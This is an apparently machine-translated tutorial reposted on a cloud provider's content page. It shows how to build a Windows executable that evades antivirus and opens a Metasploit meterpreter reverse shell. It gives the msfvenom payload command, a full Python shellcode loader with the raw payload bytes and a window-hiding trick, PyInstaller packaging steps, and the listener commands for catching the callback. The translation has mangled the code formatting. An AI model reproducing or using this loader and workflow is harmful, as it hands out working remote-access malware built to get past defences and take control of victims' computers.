Metasploit+python generate kill-free EXE over antivirus

Source: Internet
Author: User
Tags python script



Metasploit+python generate Kill-free EXE ever the Antivirus



1 Generate a bounce MSF python script under Kali, with the following command:


Msfvenom-p windows/meterpreter/reverse_tcp lport=443 lhost=192.1681. 102  One-f py-o  /opt/bk.py








2. Copy the bk.py to the WINDOW32 system and modify it as follows (the red callout here is to modify the added code, other unchanged)


From ctypes Import * Import ctypesbuf=""buf+="\xbb\x7a\x62\x0a\x22\xdb\xc9\xd9\x74\x24\xf4\x58\x29"buf+="\xc9\xb1\x97\x31\x58\x15\x03\x58\x15\x83\xe8\xfc\xe2"buf+="\x8f\xdc\x50\xbc\x22\x5d\xbf\x0c\x65\xe9\x1b\x79\xcd"buf+="\x39\xad\x30\x7c\x0c\x5d\x21\xfd\x87\x61\x46\x2b\xc8"buf+="\x35\xc0\x38\x81\xbf\xd5\xb9\xd7\x14\x0c\xcb\x00\x79"buf+="\x12\x5d\xd0\xb1\xee\xfe\x06\x1d\x51\x8a\x92\x29\xd2"buf+="\xa4\x4c\xd0\x08\x22\xdc\x4f\x24\xb2\x2b\x2b\xda\x00"buf+="\x5f\xa3\x1d\x01\xfe\xe9\xf2\x62\xeb\xa7\x46\x63\xce"buf+="\xac\x45\xe4\x8b\xa1\xa3\x85\x14\xe1\x1e\x06\xa7\x6e"buf+="\x7a\x03\xe7\x05\xd2\x41\x32\x24\x3c\x48\x72\xf2\x57"buf+="\x0f\x58\x58\x5c\xf6\xd5\x0f\x5b\x6b\xca\x34\xdd\x5d"buf+="\xe0\x62\x5a\xc2\xde\x3d\xdc\xb3\xf0\x3e\x78\x31\x90"buf+="\x6c\x5f\x58\xee\x84\xb0\x30\x87\x60\xec\x58\x25\xad"buf+="\x4a\x6b\xc6\xb7\xd8\x70\xb8\x2f\xc8\xd9\xcf\xec\x10"buf+="\xcb\x67\x90\xf2\xdf\xf2\x4a\xf3\x23\xf6\xd1\x12\xa5"buf+="\xfb\x10\xa9\x56\x4e\xd0\xdc\x10\x21\x1d\xb5\x58\x17"buf+="\xe1\x6d\x69\x74\xc7\xac\x58\x1a\xc9\xf7\x00\xf8\x54"buf+="\x76\x05\x6d\xd4\x9e\x9c\x22\xdb\x0f\xa9\xfa\xe3\x8b"buf+="\x8e\x1a\x1f\x60\xdb\xbe\xef\x2f\x73\xa5\x42\x02\x93"buf+="\x89\x0f\x42\xfa\xae\xb9\x9b\xec\xe2\x53\x56\x38\x51"buf+="\x45\x6f\xb8\xd2\xff\x3a\x73\x44\xe4\x38\x38\xf2\x28"buf+="\x76\xf0\xca\x34\x80\x35\x55\x83\xad\x29\x23\x8a\xca"buf+="\x07\xcf\x88\x30\x15\x2e\xc0\x99\x1e\xdd\xb6\xbb\x49"buf+="\x92\x1e\x9a\xdd\xcf\x58\xe9\x84\x66\x3d\x38\xfc\x28"buf+="\x99\xa4\x19\x09\xe6\x1c\xf5\xad\x4f\xa1\x81\xbf\x51"buf+="\x3d\x0b\x9e\x27\x60\x20\x7d\x59\x6e\x82\x7c\x25\x5c"buf+="\x4e\x34\x25\xed\xc3\xb1\x45\x02\x92\x75\xf5\x11\xa5"buf+="\x54\xdc\x1b\x6f\x9b\x56\xd2\xb5\x80\x66\xcf\xe1\x61"buf+="\xd1\x01\xe4\x31\x52\xd9\x5b\x01\x37\x29\xa8\xef\xc8"buf+="\x53\x9b\x1c\x47\x30\x9e\xe4\x6a\xda\xb3\xd5\xfd\xf5"buf+="\xb8\x13\xbc\x92\xbb\xb4\x82\x70\x02\xad\xef\x3b\x70"buf+="\xf4\x98\x84\x31\x52\x97\x60\x2b\x2e\x84\x9b\x7f\xb7"buf+="\x30\x85\x58\xef\x8c\x95\xa0\x56\x2f\xef\x20\x61\x0d"buf+="\x94\x66\xbf\xa7\xd0\x71\x56\x52\x82\xb1\xa0\x19\xe4"buf+="\x7e\xd9\x90\x96\x2b\x16\xea\x4c\xde\xcd\x05\x23\x6e"buf+="\xc2\x4b\xc0\x68\x1b\xba\xc1\x1d\xca\x26\x74\xd1\x92"buf+="\x4e\xd3\x70\x8a\x43\x41\xbe\x59\xf1\x20\x33\x89\xb9"buf+="\x2b\xdb\x9a\x0f\xad\x8d\x80\x4c\x78\x52\xe7\x0a\xf7"buf+="\X47\XD8\X5C\X0C\X3C\XD4\X0D\X3D\XE7\XBD\X2D\X22\XB1"buf+="\x37\x0a\xd9\x5e\xf2\xd5\xd2\x56\xe0\x56\x1c\x42\xc3"buf+="\x75\x92\x55\x7c\x86\x6a\xb4\xcd\x3a\xce\x4d\xea\x4f"buf+="\xa4\x31\xc6\xe0\x16\x27\xa5\xf4\x9d\x79\x5e\xfc\x60"buf+="\xeb\xef\x35\x33\x6e\x5b\x6d\xec\x8f\x9b\x1e\xb1\xf6"buf+="\x35\xeb\x1f\x3b\xab\x99\x9a\x34\x2a\xf8\x25\x38\xba"buf+="\X40\XE9\XB0\X51\XBC\XDF\X60\X16\X62\XC3\X63\X64\XBD"buf+="\xb5\x28\xf6\x4c\x71\xd2\x01\x74\x11\xf0\xd7\xcd\x4f"buf+="\x34\xad\xc2\x65\x4c\xeb\x78\xc1\xbf\xba\x80\x6c\x46"buf+="\x6a\x15\x15\x03\x5e\x8d\x65\x8e\x69\x89\x29\x7f\x67"buf+="\xea\xc1\x6b\x62\xb0\xd4" #libc = Cdll (' libc.so.6 ') prot_read = 1prot_write = 2prot_exec = 4def executable_code (buffer): BUF = c_char_p (buffer)  size = Len (buffer) addr = libc.valloc (size) addr = c_void_p (addr) If 0 = = Addr:raise Exception ("Failed To allocate Memory ") memmove (addr, buf, size) if 0! = Libc.mprotect (addr, len (buffer), Prot_read | Prot_write | prot_exec): Raise Exception ("Failed to set protection on buffer") return Addrvirtualalloc = Ctypes.windll.kernel 32.VirtualAllocVirtualProtect = Ctypes.windll.kernel32.VirtualProtectshellcode = ByteArray (buf) whnd = Ctypes.windll.kernel32.GetConsoleWindow () if whnd! = 0:if 666==666:ctypes.windll.user32.showwindow ( WHND, 0) ctypes.windll.kernel32.CloseHandle (whnd) print ".... ......... ..." and ... "*666memorywiths". "..." Hell = ctypes.windll.kernel32.VirtualAlloc (ctypes.c_int (0), Ctypes.c_int (Len (shel                                       Lcode)),   Ctypes.c_int (0x3000), Ctypes.c_int (0x40)) BUF = (Ctypes.c_char * LEN (shellcode) ). From_buffer (shellcode) old = Ctypes.c_long (1) virtualprotect (Memorywithshell, Ctypes.c_int (Len (shellcode)), 0x40,                                     Ctypes.byref (old)) Ctypes.windll.kernel32.RtlMoveMemory (Ctypes.c_int (Memorywithshell), BUF, Ctypes.c_int (Len (shellcode))) Shell = cast (Memorywithshell, Cfunctype (c_void_p)) PR int "Code by Luan" Shell ()





3. Install the Python-enabled environment on the windowsx86, download the Pywin32 decompression run, and always click on the next step.



4. Then download the software pyinstall that supports Python generation EXE, unzip and then execute the following command:


D:\miansha\pyinstaller-2.0>python pyinstaller.py--console--onefile  bk.py


Note that there is no Chinese path, otherwise it will go wrong









5. After executing the command, the Bk.exe will be generated in the D:\pyinstaller-2.0\bk\dist directory









6. Here I will install the latest  antivirus software on windowsx86 for Avira test












7. Then start MSF under Kali, and then execute the following command:


Use exploit/multi/handlerset192.168. 1.102 Set 443 Set PAYLOAD windows/meterpreter/Reverse_tcpexploit








8. Then execute Bk.exe on the windowsx86 system, eventually bouncing out Meterprer in MSF:









Metasploit+python generate kill-free EXE over  antivirus


Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.